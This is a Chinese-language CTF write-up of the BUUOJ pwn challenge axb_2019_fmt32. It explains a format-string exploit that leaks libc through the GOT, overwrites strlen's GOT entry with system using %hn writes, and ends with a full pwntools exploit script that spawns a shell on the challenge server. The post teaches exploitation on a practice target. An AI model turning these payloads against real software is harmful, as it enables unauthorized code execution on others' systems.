临近期末考试了,终于可以光明正大地水博客了。

最近刚写上格式化字符串的漏洞,这不,他来了。这个题目我做过之后感觉难度还是有的,做出这一题至少对格式化字符串漏洞的利用是有一个较深的理解了的。它综合考察了ret2libc和格式化字符串的任意写,以及对got表的理解。

axb_2019_fmt32

下载文件,反汇编打开,再反编译main()函数得到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[257]; // [esp+Fh] [ebp-239h] BYREF
char format[300]; // [esp+110h] [ebp-138h] BYREF
unsigned int v5; // [esp+23Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, sizeof(s));
memset(format, 0, sizeof(format));
printf("Please tell me:");
read(0, s, 0x100u);
sprintf(format, "Repeater:%s\n", s);
if ( strlen(format) > 0x10E )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}

寻找字符串并没有发现flag,/bin/sh等字眼,plt表也没有装载system函数,那就分析main函数,一个很明显的格式化字符串漏洞printf(format); format是由我们控制的,首先清楚一点,程序采取read函数读取我们的输入,大小卡的也很死,无法溢出。

泄露libc地址的准备

那么我们第一步肯定也是泄露libc的地址,不能溢出那就不能构造rop链去输出,只能用程序本身的printf去输出。我们目前能确定的只有libc函数got表地址,而got表地址的值装的才是libc函数的地址。通俗点讲我现在知道一个地址,但是我要的是这个地址的值。%d %x %f那些都是你传什么就输出什么。举个例子

1
2
3
int a=0xdeadbeef;
//假设&a=0x61616161
int b=&a;

当热这种写法是错的,但是逻辑应该都能理解的。如果我知道b的值了,那么我如何知道b的值所代表的地址的值呢,如果printf("%d",b);的话,那么你只能得到0x61616161而得不到你想要的0xdeadbeef,这个时候就要提到一个知识点了:字符串传参,我在之前的博客应该也有所讲过,字符串传参是用指针传的。因为字符串是大端序,所以一个指针的字符串判定是从这个指针开始一直到下一个'\0'字节(向高地址)为这个指针代表的字符串。

1
2
value:  00 41 42 43 44 45 43 41 00
address:00 01 02 03 04 05 06 07 08

那么04字符串就是deca

03字符串就是cdeca

以此类推。。。

那么字符串就成了泄露libc地址的有利工具,printf("%s",b);就可以泄露libc函数的地址了。

确定偏移泄露libc寻找system函数地址

确定偏移从来是看不出来的,要自己动调去确定偏移,直接运行会发现有时钟控制,那么我们gdb调试,在read和printf函数都下断点,输入aaaa%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

得到结果:

buuoj axb_2019_fmt32_1.png

可以看到我们输入的4个a在printf里面被分割了,第8个参数有3个a(0x61),第7个参数有1个,那么我们把第七个参数填充完整之后再在第八个参数的位置放上libc函数的got表地址,然后在最后加上%8$s就可以泄露libc地址了。

这里我选择泄露puts函数的地址

第一次payload就是

1
payload=b'a'+p32(puts_got)+b'%8$s\0s'

因为输出不单单只是输出payload,还加了很多junk数据,因此我们可以考虑在输出之前加一个特殊字符'\n'那么 我们在p.recvuntil(b'\n')之后接收的四个字节一定就是puts的真实地址

1
2
3
4
5
6
7
8
9
10
11
p.recvuntil(b'me:')
payload=b'a'+p32(puts_got)+b'\n%8$s\0s'
p.sendline(payload)
p.recvuntil(b'\n')
puts_addr=u32(p.recv(4))
print('[+]puts_addr:{}'.format(hex(puts_addr)))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')

sys=libc.dump('system')+libc_base
print('[+]sys_addr:{}'.format(hex(sys)))

这样我们就很轻松地得到了system()函数的地址

确定攻击思路

我们不需要泄露/bin/sh字符串,因为之前就说了,我们并不能栈溢出劫持程序控制流,因此要考虑其它方法,printf可以任意写,那么我们就修改got表的内容,如果把strlen函数的got表改成system的地址,那么在调用strlen的时候就会执行system函数了。用printf函数应该也可以,但是人家改的时候就是在执行printf,所以给了你strlen就开开心心用嘛对吧。

由于一个地址的值比较大,一次覆盖要输出最多可能输出0xffffffff四十多亿个字符,最少也是0xf7000000个字符。所以我们采取分次赋值,把这个地址分成高字和低字,这样一次最多输出0xffff六万多个字符,在可接受的范围内,我们必须要一次赋值赋完,否则只赋一半就停,下面执行strlen函数就不在预期之内,会引发诸多错误,所以要改got表得一次改完。因为libc的基址一般都是0xf7开头的,所以这个函数高字肯定比较大,那么我们就先赋低字,在赋高字,缺的字符中间算算差值补足就好了。

这里又要介绍一个格式化字符串标识符了

%n$hn给第n个参数地址赋值当前已打印字符的个数(大小为一个字(word))。那么我们就需要精心构造payload了,注意输出不止一个payload,还要注意前面的一些junk,经过计算,payload如下。

1
payload=b'a'+p32(strlen_got)+p32(strlen_got+2)+b'%'+str(sys_low-18).encode()+b'c%8$hn'+b'%'+str(sys_high-sys_low).encode()+b'c%9$hn'

最后一步就是给/bin/sh字符串了,第三次输入很简单,直接给;/bin/sh;即可,分号用于过滤前面的junk数据。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context.log_level='debug'
proc='./axb_2019_fmt32'
#p=process(proc)
p=remote('node3.buuoj.cn',25544)

elf=ELF(proc)
puts_got=elf.got['puts']
strlen_got=elf.got['strlen']

p.recvuntil(b'me:')
payload=b'a'+p32(puts_got)+b'\n%8$s\0s'
p.sendline(payload)
p.recvuntil(b'\n')
puts_addr=u32(p.recv(4))
print('[+]puts_addr:{}'.format(hex(puts_addr)))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')

sys=libc.dump('system')+libc_base
print('[+]sys_addr:{}'.format(hex(sys)))
sys_high=(sys>>16)&0xffff
sys_low=sys&0xffff
print('[+]sys_low:{}'.format(hex(sys_low)))
print('[+]sys_high:{}'.format(hex(sys_high)))


p.recvuntil(b'me:')
payload=b'a'+p32(strlen_got)+p32(strlen_got+2)+b'%'+str(sys_low-18).encode()+b'c%8$hn'+b'%'+str(sys_high-sys_low).encode()+b'c%9$hn'
p.sendline(payload)

p.recvuntil(b'me:')
p.sendline(b';/bin/sh;')

p.interactive()